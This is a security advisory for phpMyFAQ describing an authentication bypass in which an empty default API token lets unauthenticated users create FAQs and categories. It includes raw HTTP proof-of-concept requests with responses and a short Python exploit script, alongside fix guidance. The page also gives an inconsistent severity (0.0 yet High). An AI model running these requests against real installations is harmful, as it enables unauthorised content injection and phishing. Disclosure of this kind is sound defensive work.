GHSA-gp95-j463-vv28 CVE-2026-35672
phpMyFAQ: Default Empty API Token Authentication Bypass
- Severity
- 0.0 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.48%
- Chance of exploitation in the next 30 days. Higher than 41.64% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-1188 Initialization of a Resource with an Insecure Default
- Fix
- Available
- 2 packages have a fixed version
Description
Summary
A default empty API client token allows any unauthenticated user to create and modify FAQ entries, categories, and questions via the REST API. The vulnerability exists in all versions since API v4.0 was introduced because the installation process seeds api.apiClientToken with an empty string, and the hasValidToken() comparison logic cannot distinguish between "no token configured" and "attacker sent a matching empty token header."
Details
The root cause is in two files:
1. Installation default (src/phpMyFAQ/Setup/Installation/DefaultDataSeeder.php, line 277-278):
'api.enableAccess' => 'true',
'api.apiClientToken' => '', // ← defaults to empty string
2. Authentication check (src/phpMyFAQ/Controller/AbstractController.php, line 198-204):
protected function hasValidToken(): void
{
$request = Request::createFromGlobals();
if ($this->configuration->get('api.apiClientToken') !== $request->headers->get('x-pmf-token')) {
throw new UnauthorizedHttpException('"x-pmf-token" is not valid.');
}
}
The method uses strict inequality (!==). When api.apiClientToken is '' (default) and the attacker sends x-pmf-token: (empty header value), the comparison becomes '' !== '' which evaluates to false — no exception is thrown, and authentication is completely bypassed.
The OpenAPI annotations confirm the developer intended these endpoints to require authentication: write endpoints are tagged 'Endpoints with Authentication' and document HTTP 401 responses, while read-only endpoints are tagged 'Public Endpoints'.
The following API endpoints call $this->hasValidToken() as their only authentication check:
| File | Endpoint | Method |
|---|---|---|
src/.../Controller/Api/FaqController.php:701-703 |
/api/v4.0/faq/create |
POST |
src/.../Controller/Api/FaqController.php:857-859 |
/api/v4.0/faq/update |
PUT |
src/.../Controller/Api/CategoryController.php:278-280 |
/api/v4.0/category |
POST |
src/.../Controller/Api/QuestionController.php:89-91 |
/api/v4.0/question |
POST |
PoC
Environment: phpMyFAQ 4.2.0-alpha, PHP 8.4.16, SQLite, installed with all defaults.
Step 1 — Verify that requests without auth header are correctly rejected:
POST /api/v4.0/faq/create HTTP/1.1
Host: <target>
Content-Type: application/json
{
"language": "en",
"category-id": 1,
"question": "Test Question",
"answer": "Test Answer",
"keywords": "test",
"author": "test",
"email": "test@test.com",
"is-active": true,
"is-sticky": false
}
Response (HTTP 401 — correctly blocked):
{"type":".../problems/unauthorized","title":"Unauthorized","status":401,"detail":"Unauthorized access.","instance":"/v4.0/faq/create"}
Step 2 — Send the same request with an empty x-pmf-token header:
POST /api/v4.0/faq/create HTTP/1.1
Host: <target>
Content-Type: application/json
x-pmf-token:
{
"language": "en",
"category-id": 1,
"question": "[POC] Authentication Bypass Confirmed",
"answer": "This FAQ was created without any valid authentication token.",
"keywords": "poc,bypass",
"author": "Security Researcher",
"email": "researcher@example.com",
"is-active": true,
"is-sticky": false
}
Response (HTTP 201 — bypass confirmed):
{"stored": true}
Step 3 — Category creation via the same bypass:
POST /api/v4.0/category HTTP/1.1
Host: <target>
Content-Type: application/json
x-pmf-token:
{
"language": "en",
"parent-id": 0,
"category-name": "POC_Category",
"description": "Category created via empty token bypass",
"user-id": 1,
"group-id": -1,
"is-active": true,
"show-on-homepage": true
}
Response (HTTP 201):
{"stored": true}
Step 4 — Verify injected content is publicly visible:
GET /api/v4.0/faqs/1 HTTP/1.1
Host: <target>
Response (HTTP 200 — injected FAQ publicly exposed):
[{"record_id":1,"record_lang":"en","category_id":1,"record_title":"[POC] Authentication Bypass Confirmed","record_preview":"This FAQ was created without any valid authentication token. ..."}]
PoC with Python (urllib — no external dependencies):
import urllib.request, json
TARGET = "http://<target>"
HEADERS = {"Content-Type": "application/json", "x-pmf-token": ""}
# Create FAQ via empty token bypass
data = json.dumps({
"language": "en", "category-id": 1,
"question": "[POC] Auth Bypass", "answer": "Created via bypass.",
"keywords": "poc", "author": "R", "email": "r@t.com",
"is-active": True, "is-sticky": False
}).encode()
req = urllib.request.Request(f"{TARGET}/api/v4.0/faq/create", data=data, headers=HEADERS, method="POST")
resp = urllib.request.urlopen(req)
print(f"Status: {resp.status}") # 201 — bypass successful
Overlap Summary:
| Test | x-pmf-token | HTTP Status | Result |
|---|---|---|---|
| No auth header | (not sent) | 401 Unauthorized | 🔒 Correctly blocked |
| Empty token header | "" |
201 Created | 🔓 Bypass confirmed |
| Category creation | "" |
201 Created | 🔓 Bypass confirmed |
| Public verification | (not needed) | 200 OK | 📄 Injected content visible |
Impact
This is an authentication bypass (CWE-1188) affecting any phpMyFAQ installation where the administrator has not explicitly set a non-empty API client token — which is the default state after installation.
- Who is impacted? Any organization running phpMyFAQ with default configuration. The REST API is enabled by default, and the token defaults to empty. No action by the administrator is required for the vulnerability to exist — it is the out-of-the-box state.
- What can an attacker do? Create and modify FAQ entries, categories, and questions without any authentication. This enables content injection for phishing, SEO spam, reputation damage, and distribution of malicious links through the knowledge base.
- What is NOT affected? Read-only API endpoints are intentionally public. Session-authenticated admin endpoints are not affected. File upload and backup endpoints require separate session-based authentication.
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| phpmyfaq/phpmyfaq | < 4.1.3 |
4.1.3 |
| thorsten/phpmyfaq | < 4.1.3 |
4.1.3 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
phpmyfaq/phpmyfaq Packagist → 4.1.3
- composer
composer require phpmyfaq/phpmyfaq:^4.1.3
thorsten/phpmyfaq Packagist → 4.1.3
- composer
composer require thorsten/phpmyfaq:^4.1.3
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
- Exploit maturity
- Not defined
- Scope
- X
CVSS 3.1 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- High
- Availability
- None
Weakness
CWE-1188: Initialization of a Resource with an Insecure Default
The product initializes or sets a resource with a default that is intended to be changed by the product's installer, administrator, or maintainer, but the default is not secure.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-rw77-vq4g-x3hp phpMyFAQ has SQL Injection in `StopWords::add()` — Unescaped Stop Word Insertion | High | Also affects phpmyfaq/phpmyfaq |
| GHSA-8gpw-xvpf-hvx5 phpMyFAQ's two-factor authentication login bypasses the password factor | High | Also affects phpmyfaq/phpmyfaq |
| GHSA-pgwp-vc7q-cvj3 phpMyFAQ has Stored XSS in Admin FAQ Editor via HTML Entity Bypass in Frontend FAQ Submission | High | Also affects phpmyfaq/phpmyfaq |
| GHSA-6pvm-2vjj-rx4w phpMyFAQ: SQL LIKE Wildcard Injection in Chat User Search Allows Authenticated User Enumeration | Medium | Also affects thorsten/phpmyfaq |
| GHSA-mf8r-wm2w-f8c5 phpMyFAQ public FAQ APIs expose inactive FAQ content | Medium | Also affects phpmyfaq/phpmyfaq |
| GHSA-88g4-74f3-63x9 phpMyFAQ has Potential Authenticated Path Traversal in PDF Export | Medium | Also affects phpmyfaq/phpmyfaq |
| GHSA-pg62-f8g4-4wqh phpMyFAQ privilege escalation: GroupController::updatePermissions lets a GROUP_EDIT admin grant rights they do not hold | High | Also affects phpmyfaq/phpmyfaq |
| GHSA-985r-q3qp-299h phpMyFAQ has an incomplete fix for GHSA-xvp4-phqj-cjr3 — editUser() and updateUserRights() lack authorization guards | High | Also affects phpmyfaq/phpmyfaq |
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